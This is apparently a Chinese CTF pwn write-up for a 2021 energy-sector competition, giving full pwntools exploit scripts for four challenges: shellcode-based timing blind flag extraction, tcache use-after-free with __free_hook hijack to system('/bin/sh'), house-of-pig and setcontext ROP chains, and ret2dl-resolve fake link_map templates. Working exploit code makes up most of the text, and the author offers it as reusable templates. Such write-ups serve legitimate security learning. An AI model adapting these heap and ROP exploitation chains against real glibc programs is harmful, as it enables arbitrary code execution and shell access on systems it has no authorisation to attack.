babyshellcode

这题考无write泄露，write被沙盒禁用时，可以考虑延时盲注的方式获得flag，此exp可作为此类型题目模版，只需要修改部分参数即可，详细见注释

from pwn import *

from pwn import p64,u64,p32,u32,p8

from pwnlib import timeout

context.arch = 'amd64'

# context.log_level = 'debug'

context.terminal = ['tmux','sp','-h']

# elf = ELF('./chall')

# libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

# libc = ELF('')

io = process('./chall')

# 参数分别为：读取的内存地址、按字节增长偏移、ascii值

def exp(targetAddr,offset,ch):

    io.recvuntil('Are you a shellcode master?')

    # 打开flag文件,

    # open('flag',0)

    op = asm("""mov rax,0x67616c66

    push rax

    mov rdi,rsp

    push 2

    pop rax

    push 0

    pop rsi

    syscall

    """)

    # 读取flag到指定内存中,

    # read(3,targetAddr,0x30)

    rd = asm("""push 0

    pop rax

    push {}

    pop rsi

    push 3

    pop rdi

    push 0x30

    pop rdx

    syscall

    """.format(hex(targetAddr)))

    # 对flag进行比较，如果不相同则直接返回，会直接EOF，

    # 如果相同会进入死循环达到延时效果，依靠EOF时间来判断flag值是否相同

    wt = asm("""mov rsi,{2}

    cmp byte ptr [rsi+{0}],{1}

    jz $-10

    ret

    """.format(hex(offset),hex(ch),hex(targetAddr)))

    # 读取足够长度payload到可执行段中，

    # read(0,0x10014,0x100)

    sh = asm("""push 0

    pop rax

    push 0x10014

    pop rsi

    push 0x100

    pop rdx

    push 0

    pop rdi

    syscall

    """)

    payload = sh

    io.send(payload)

    pl2 = op

    pl2 += rd

    pl2 += wt

    sleep(0.1)

    io.send(pl2)

#flag = 'flag{7DSR6JunIeMwgTz2UyVQobsthxkKEp4L}'

# 外层循环为位，按位爆破

for i in range(37,0x30):

    # 内层循环为ascii码

    for c in range(0x20,128):

        io = process('./chall')

        # io = remote('106.14.120.231','26985')

        exp(0x10500,i,c)

        print('now==>',chr(c))

        try:

            io.interactive()

            io.close()

        except:

            io.close()

            continue

superchunk

用UAF编辑已释放堆块的fd和bk来绕过tcache double free的检查，然后将堆块重叠到tcache bin链表头部，此时tcache bin里面会多出很多杂乱的内容，想办法让其合并，然后里面就有了main_arena的地址，再对地址进行爆破，得到stdout地址，修改flag，泄露libc，最后将__free_hook内写入system，调用free时就会调用system("/bin/sh")

from pwn import *

from pwn import p64,u64,p32,u32,p8,p16

context.arch = 'amd64'

# context.log_level = 'debug'

context.terminal = ['tmux','sp','-h']

# elf = ELF('./superchunk')

# libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

io = process('./superchunk')

# io = remote('106.14.120.231','22521')

def add(size):

    io.sendlineafter('Your choice: ','1')

    io.sendlineafter('Size: ', str(size))

def delete():

    io.sendlineafter('Your choice: ','4')

def edit(content):

    io.sendlineafter('Your choice: ','2')

    io.sendafter('Content: ', content)

def recv():

     leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

     return leak

atoi = 0x602058

def exp():

    add(0x100)

    delete()

    edit('a'*0x10)

    delete()

    edit(p16(0x3010))

    add(0x100)

    add(0x100)

    edit('\x00'*0x23+'\x06')

    delete()

    edit('a'*0x10)

    delete()

    add(0x80)

    delete()

    add(0x100)

    edit(p16(0xe760))

    add(0xb0)

    edit(p64(0xfbad3887)+p64(0)*3+p8(0))

    leak = recv()

    info(hex(leak))

    libc_base = leak - libc.sym['__free_hook']+0x38

    info(hex(libc_base))

    system = libc_base + libc.sym['system']

    free_hook = libc.sym['__free_hook']+libc_base

    add(0x80)

    edit(b'\x03'+b'\x00'*0x3f+p64(free_hook))

    add(0x10)

    edit(p64(system))

    add(0x20)

    edit('/bin/sh\x00')

    delete()

while 1:

    try:

        exp()

        io.sendline('cat flag')

        content = io.recv()

        print('flag========%s'%content)

        break

    except:

        io.close()

        io = process('./superchunk')

loveheap

程序漏洞点为UAF，可以申请0x40个堆块，每个堆块大小最大为0x200，无法使用largebin attack。总结了一下大概可以用三种方式来解题：

tcache stash unlink attack 在free_hook 附近写入一个main_arena的值，此时有0x7f的chunk size可以用，直接申请到free_hook，然后写入setcontext函数，利用setcontxt的rdi构造好rdx的值，注意rcx需要是一个可读地址，随便写入一个堆块地址都行。在setcontext时就可以控制rdx的值了，在堆块中构造ROP链来orw。下面的exp也是用的这种方法。
house of pig，这种方式已经在exp里面写好了，可以调用system("/bin/sh")，此题开了沙箱，无法获取shell，需要改为orw的方式。暂时还不会改，学会了再来完善。
泄露地址后，用tcache stash unlink attack在修改global_max_fast的值为main_arena的值，那么此时申请的堆块大小都是fastbin，然后从libc里的IO结构体一路申请到free_hook，把free_hook改为setcontext，之后和方法一的过程一样。这种方式可以在限制了申请大小的情况下进行fastbin attack。

from pwn import *

from pwn import p64,u64,p32,u32,p8,p16

context.arch = 'amd64'

context.log_level = 'debug'

context.terminal = ['tmux','sp','-h']

# elf = ELF('./loveheap')

libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')

io = process('./loveheap')

def add(size):

    io.sendlineafter('>>','1')

    io.sendlineafter('Please input the size\n', str(size))

def delete(idx):

    io.sendlineafter('>>','2')

    io.sendlineafter('Pls input the idx\n', str(idx))

def edit(idx,content):

    io.sendlineafter('>>','3')

    io.sendlineafter('Pls input the idx\n', str(idx))

    io.sendafter('Pls input the content:\n', content)

def show(idx):

    io.sendlineafter('>>','4')

    io.sendlineafter('Pls input the idx\n', str(idx))

def recv(flag='libc'):

    if flag=='heap':

        leak = u64(io.recv(6).ljust(8,b'\x00'))

        return leak

    else:

        leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

        return leak

def exp():

    for i in range(9):

        add(0x200)

    for i in range(7):

        delete(i)

    delete(7)

    show(7)

    leak = recv()

    info(hex(leak))

    libc_base = leak - libc.sym['__malloc_hook'] - 0x10 - 96

    info(hex(libc_base))

    malloc_hook = libc_base + libc.sym['__malloc_hook']

    info(hex(malloc_hook))

    for i in range(9):

        add(0x68)

    for i in range(9):

        delete(i+8)

    edit(16,p64(malloc_hook-0x33))

    add(0x68)

    setcontext = libc_base + libc.sym['setcontext']

    '''

    .text:0000000000157D8A                 mov     rbp, [rdi+48h]

    .text:0000000000157D8E                 mov     rax, [rbp+18h]

    .text:0000000000157D92                 lea     r13, [rbp+10h]

    .text:0000000000157D96                 mov     dword ptr [rbp+10h], 0

    .text:0000000000157D9D                 mov     rdi, r13

    .text:0000000000157DA0                 call    qword ptr [rax+28h]

    '''

    max_fast = libc_base + libc.sym['global_max_fast']

    add(0x68)

    add(0x200)

    gdb.attach(io,'b calloc')

    add(0x10)

def exp2():

    for i in range(8):

        add(0x68) # 0-7

        delete(i)

    for i in range(6):

        add(0x90)       # 8-13

    for i in range(6):

        delete(i+8)

    for i in range(7):

        add(0x190)      # 14-20

    for i in range(7):

        delete(i+14)

    for i in range(7):

        add(0xe0)       # 21-27

    for i in range(7):

        delete(i+21)

    add(0x190) # 28

    add(0x1f0) # 29

    add(0x190) # 30

    add(0x1f0) # 31

    delete(28)

    show(28)

    libc_base = recv() - 96 - libc.sym['__malloc_hook'] - 0x10

    libc.address = libc_base

    # global_max_fast = libc_base + 0x1eeb80

    info(hex(libc.sym['system']))

    show(2)

    heap_base = recv('heap') - 0x2a0 - 0x70

    info(hex(heap_base))

    add(0xf0) # 32

    delete(30)

    add(0xf0) # 33

    add(0x190) # 34

    edit(30,b'a'*0xf0+p64(0)+p64(0xa1)+p64(heap_base+0x1cc0)+p64(libc.sym['__free_hook']-0x30))

    add(0x90) # 35

    # ---fastbin attack---#

    edit(7,p64(libc.sym['__free_hook']-0x23))

    add(0x68) # 36

    add(0x68) # 37

    prdi = 0x0000000000026b72 + libc_base #: pop rdi ; ret

    prsi = 0x0000000000027529 + libc_base #: pop rsi ; ret

    prdx = 0x000000000011c371 + libc_base #: pop rdx ; pop r12 ; ret

    ret = 0x0000000000044148 + libc_base#: xor eax, eax ; ret

    edit(29,'flag')

    payload = p64(prdi)+p64(heap_base+0x1d70)+p64(prsi)+p64(0)+p64(libc.sym['open'])

    payload += p64(prdi) + p64(3) + p64(prsi)+p64(heap_base+0x1cd0)+p64(prdx)+p64(0x30)+p64(0)+p64(libc.sym['read'])

    payload += p64(prdi) +p64(1)+p64(prsi)+p64(heap_base+0x1cd0)+p64(prdx)+p64(0x30)+p64(0)+p64(libc.sym['write'])

    edit(31,payload)

    edit(8, p64(0)*6+p64(heap_base+0x2110)+p64(ret)+p64(0)*6+p64(heap_base+0x5b0)) #堆块31，大小0x200

    edit(37,b'a'*19+p64(libc.sym['setcontext'])) # mov    r12, QWORD PTR [rdx+0x48]

    # gdb.attach(io)

    delete(36)

def house_of_pig():

    # ----step 1 . leak info----#

    for i in range(8): # 0-7

        add(0x90)

    for i in range(7):

        delete(i+1)

    delete(0)

    show(0)

    leak = recv()

    libc_base = leak - libc.sym['__malloc_hook'] - 96 -0x10

    info(hex(libc_base))

    show(2)

    heap_addr = recv('heap') - 0x340

    info(hex(heap_addr))

    setcontext = libc_base + libc.sym['setcontext'] + 61

    system = libc_base + libc.sym['system']

    malloc_hook = libc_base + libc.sym['__malloc_hook']

    free_hook = libc_base + libc.sym['__free_hook']

    io_list_all = libc_base + libc.sym['_IO_list_all']

    #----step 2 . 准备tcache stash unlink attack----#

    for i in range(6): # 8-13    size:0xb0

        add(0xa0)

    for i in range(9): # 14-22   size:0x1b0

        add(0x1a0)

    for i in range(7):

        delete(22-i) # free 22 ~ 16   size:0x1b0

    delete(15)      # size:0x1b0，放入unsorted bin

    add(0xf0)       # size:0x100,unsorted bin被切割,剩余大小0xb0

    add(0x1f0)      # size:0x200,把0xb0放入small bin

    delete(14)      # size:0x1b0,放入unsorted bin（在15和14中间出现0x100的堆块）

    add(0xf0)       # size:0x100,unsorted bin被切割，剩余大小0xb0

    add(0x1f0)      # size:0x200,把0xb0放入small bin

    for i in range(6):

        delete(8+i) # free 8 ~ 13    size:0xb0,6个0xb0被放入tcache

    edit(14,b'a'*0xf8+p64(0xb1)+p64(heap_addr+0xe60)+p64(io_list_all-0x10)) # 编辑0xb0 small bin的fd指针指向heap_addr+0xe60,bk指向io_list_all-0x10

    add(0xa0) # 把small bin申请回来，io_list_all会填入一个main_arena的地址

    #---- step 3 .构造_IO_FILE_plus结构体 ----#

    for i in range(9):

	    add(0xf0)  # 28-36    size:0x100

    for i in range(7):

	    delete(i+28) # free 28 ~ 34    size:0x100

    delete(35) # size:0x100,放入unsorted bin

    add(0x1f0) # size:0x200,把0x100 大小的unsorted bin放入small bin

    payload = p64(0)*2+p64(0)+p64(heap_addr+0x1940)+p64(0) #rdx chunk 22

    payload += p64(heap_addr+0x330)+p64(heap_addr+22+0x330)+p64(0)*4 #size 90

    payload += p64(heap_addr+0xbb0)+p64(0)+p64(0)+b"\x00"*8 #chain 14

    payload += p64(0)*4+b"\x00"*48

    payload += p64(0x1ed560+libc_base) # _IO_str_jumps

    edit(35, payload)  # **Fake IO_FILE_plus1(malloc(0x90))**

    edit(1, p64(setcontext)+p64(setcontext))

    delete(1)   # 删除此堆块后，tcache中链表头部会被写入setcontext函数的地址 

    add(0x130)  # 38

    edit(38,b'a'*0x88+p64(0x21)*3+p64(0x21)*2+p64(setcontext)+p64(setcontext)+p64(0x21)*2)

    edit(7, p64(malloc_hook))

    payload = p64(0)*2+p64(0)+p64(heap_addr+0x1940)+p64(0) #rdx 22

    payload += p64(heap_addr+0x350)+p64(heap_addr+22+0x350)+p64(0)*4 #size 90

    payload += p64(heap_addr+0xf10)+p64(0)+p64(0)+b"\x00"*8 #chain 16

    payload += p64(0)*4+b"\x00"*48

    payload += p64(0x1ed560+libc_base)#_IO_str_jumps

    edit(14,payload)#Fake IO_FILE_plus2(malloc(0x90) && hijack malloc_hook = setcontext)

    binsh_addr = libc_base + next(libc.search(b'/bin/sh\0'))

    frame = SigreturnFrame()

    frame.rsp = (free_hook&0xfffffffffffff000)+8#16字节对齐

    frame.rdi = binsh_addr

    frame.rsi = 0

    frame.rdx = 0

    frame.rip = system

    edit(22, bytes(frame))  # 22

    payload = p64(0)*2+p64(0)+p64(heap_addr+0x1940)+p64(0) #rdx 22

    payload += p64(heap_addr+0x370)+p64(heap_addr+22+0x370)+p64(0)*4 #size 90

    payload += p64(0)+p64(0)+p64(0)+b"\x00"*8 #chain 17

    payload += p64(0)*4+b"\x00"*48

    payload += p64(0x1ed560+libc_base)#_IO_str_jumps

    edit(16,payload)#srop

    gdb.attach(io)

    io.recvuntil('>>')

    io.sendline('5')

# house_of_pig()

exp2()

io.interactive()

darkdark

ret2dl-resolve，直接套用模版，改一下总体偏移和gadget地址就可以了

partial RELRO，这是正确的exp，最后附上NO RELRO的模版

from pwn import *

from pwn import p64,p32

context(os='linux', arch='amd64', log_level='debug')

context.terminal=['tmux','sp','-h']

r = process('./darkdark')

elf = ELF('./darkdark')

libc = ELF('./libc-2.27.so')

read_plt = elf.plt['read']

read_got = elf.got['read']

#bss

bss = 0x601038

bss_stage = bss + 0x200

l_addr = libc.sym['system'] - libc.sym['read']  # l_addr 通常为负数

pop_rdi = 0x4005d3 #: pop rdi ; ret

pop_rsi = 0x4005d1 #: pop rsi ; pop r15 ; ret

#用于解析符号dl_runtime_resolve

plt_load = 0x400426

def fake_Linkmap_payload(fake_linkmap_addr, known_func_ptr, offset):

    # &(2**64-1)是因为offset为负数，如果不控制范围，p64后会越界，发生错误

    linkmap = p64(offset & (2 ** 64 - 1))  # l_addr

    # fake_linkmap_addr + 8，也就是DT_JMPREL，至于为什么有个0，可以参考IDA上.dyamisc的结构内容

    linkmap += p64(0)  # 可以为任意值

    linkmap += p64(fake_linkmap_addr + 0x18)  # 这里的值就是伪造的.rel.plt的地址

    # fake_linkmap_addr + 0x18,fake_rel_write,因为write函数push的索引是0，也就是第一项

    # Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址，解析完成后在这个地址上存放函数的实际地址，此处我们只需要设置一个可读写的地址即可

    linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))

    linkmap += p64(0x7)  # Rela->r_info,用于索引symtab上的对应项，7>>32=0，也就是指向symtab的第一项

    linkmap += p64(0)  # Rela->r_addend,任意值都行

    linkmap += p64(0)  # l_ns

    # fake_linkmap_addr + 0x38, DT_SYMTAB

    linkmap += p64(0)  # 参考IDA上.dyamisc的结构

    # 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8

    linkmap += p64(known_func_ptr - 0x8)

    linkmap += b'/bin/sh\x00'

    linkmap = linkmap.ljust(0x68, b'A')

    # fake_linkmap_addr + 0x68, 对应的值的是DT_STRTAB的地址，由于我们用不到strtab，所以随意设置了一个可读区域

    linkmap += p64(fake_linkmap_addr)

    # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址

    linkmap += p64(fake_linkmap_addr + 0x38)

    linkmap = linkmap.ljust(0xf8, b'A')

    # fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址

    linkmap += p64(fake_linkmap_addr + 0x8)

    return linkmap

fake_link_map = fake_Linkmap_payload(bss_stage, read_got, l_addr)  # 伪造link_map

payload = flat('A' * 0x38, pop_rdi, 0, pop_rsi, bss_stage, 0, read_plt,  # 把link_map写到bss段上

               pop_rsi, 0, 0,                                           # 使栈十六字节对齐，不然调用不了system

               # 把/bin/sh传进rdi，并且调用_dl_rutnime_resolve函数，传入伪造好的link_map和索引

                pop_rdi, bss_stage + 0x48, plt_load, bss_stage, 0)

r.sendline(payload)

# gdb.attach(r)

r.send(fake_link_map)

r.interactive()

no RELRO，这只是模版，打不通的！！！

from pwn import *

from pwn import p64, u64, p32

context.update(os='linux', arch='amd64')

context.log_level = 'debug'

context.terminal = ['tmux', 'sp', '-h']

p = process('./darkdark')

universal_gadget1 = 0x4005CA

universal_gadget2 = 0x4005B0

main_got = 0x400474             # __libc_start_main GOT(PLT)

pop_rdi_ret = 0x4005d3          #: pop rdi ; ret

jmp_dl_fixup = 0x400426          # jmp     cs:qword_601010

pop_rbp_ret = 0x4004b8          #: pop rbp ; ret

leave_ret = 0x400564            #: leave ; ret

read_got = 0x601020

bss = 0x601038

new_stack_addr = bss+0x500

fake_link_map_addr = bss+0x500+0x30

prsi = 0x4005d1                 #: pop rsi ; pop r15 ; ret

# libc中已解析函数与想要执行的目标函数的偏移值，如 addr_system-addr_xxx

offset = 0x2da40  

libc_start_main = 0x600FF0

############## csu gadget #############

payload = b""

payload += b'A'*(0x30+0x8)      # padding

payload += p64(universal_gadget1)

payload += p64(0x0)

payload += p64(0x1)

payload += p64(read_got)

payload += p64(0)

payload += p64(new_stack_addr)

payload += p64(0x300)

payload += p64(universal_gadget2)

payload += b'A'*56

payload += p64(pop_rbp_ret)

payload += p64(new_stack_addr)

payload += p64(leave_ret)

p.send(payload)

sleep(0.5)

############# fake Elf64_Dyn #############

'''

Elf64_Dyn{

    d_tag           dq

    d_un            dq

}

'''

fake_Elf64_Dyn = b""

fake_Elf64_Dyn += p64(0)  # d_tag  从link_map中找.rel.plt不需要用到标签， 随意设置

# d_ptr  指向伪造的Elf64_Rela结构体，由于reloc_offset也被控制为0，不需要伪造多个结构体

fake_Elf64_Dyn += p64(fake_link_map_addr + 0x18+0x18)

##########################################

############# fake  Elf64_Rela ###########

'''

Elf64_Rela{

    r_offset        dq

    r_info          dq

    r_addend        dq

}

'''

fake_Elf64_Rela = b""

# r_offset rel_addr = l->addr+reloc_offset，直接指向fake_link_map所在位置令其可读写就行

fake_Elf64_Rela += p64(fake_link_map_addr + offset+0x18)

fake_Elf64_Rela += p64(7)               # r_info index设置为0，最后一字节必须为7

fake_Elf64_Rela += p64(0)               # r_addend  随意设置

###########################################

############# fake Elf64_Sym #############

'''

Elf64_Sym{

    st_name         dd

    st_info         db

    st_other        db

    st_shndx        dw

    st_value        dq

    st_size         dq

}

'''

fake_Elf64_Sym = b""

fake_Elf64_Sym += p32(0)                # st_name 随意设置

# st_info, st_other, st_shndx st_other非0以避免进入重定位符号的分支

fake_Elf64_Sym += b'AAAA'

# st_value 已解析函数的got表地址-8，-8体现在汇编代码中，原因不明

fake_Elf64_Sym += p64(libc_start_main-8)

fake_Elf64_Sym += p64(0)                # st_size 随意设置

##########################################

############# link_map ####################

fake_link_map_data = b""

fake_link_map_data += p64(offset)                         # l_addr，伪造为两个函数的地址偏移值

fake_link_map_data += fake_Elf64_Dyn

fake_link_map_data += fake_Elf64_Rela

fake_link_map_data += fake_Elf64_Sym

fake_link_map_data += b'\x00'*0x20

fake_link_map_data += p64(fake_link_map_addr+0x18)        # DT_STRTAB 设置为一个可读的地址

fake_link_map_data += p64(fake_link_map_addr + 0x30+0x18) # DT_SYMTAB 指向对应结构体数组的地址

fake_link_map_data += b"/bin/sh\x00"

fake_link_map_data += b'\x00'*0x78

fake_link_map_data += p64(fake_link_map_addr + 0x8+0x18)  # DT_JMPREL 指向对应数组结构体的地址

###########################################

payload = b""

payload += b"BBBBBBBB"

payload += p64(prsi) + p64(0)*2  # 清寄存器，否则/bin/sh调用失败

payload += p64(pop_rdi_ret)

payload += p64(fake_link_map_addr+0x78+0x18)  # /bin/sh\x00地址

# 用jmp跳转到_dl_fixup，link_map和reloc_offset都由我们自己伪造

payload += p64(jmp_dl_fixup)

payload += p64(fake_link_map_addr+0x18)    # 伪造的link_map地址

payload += p64(0)             # 伪造的reloc_offset

payload += fake_link_map_data

gdb.attach(p)

p.send(payload)

p.interactive()

巴特西

2021能源PWN wp

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superchunk

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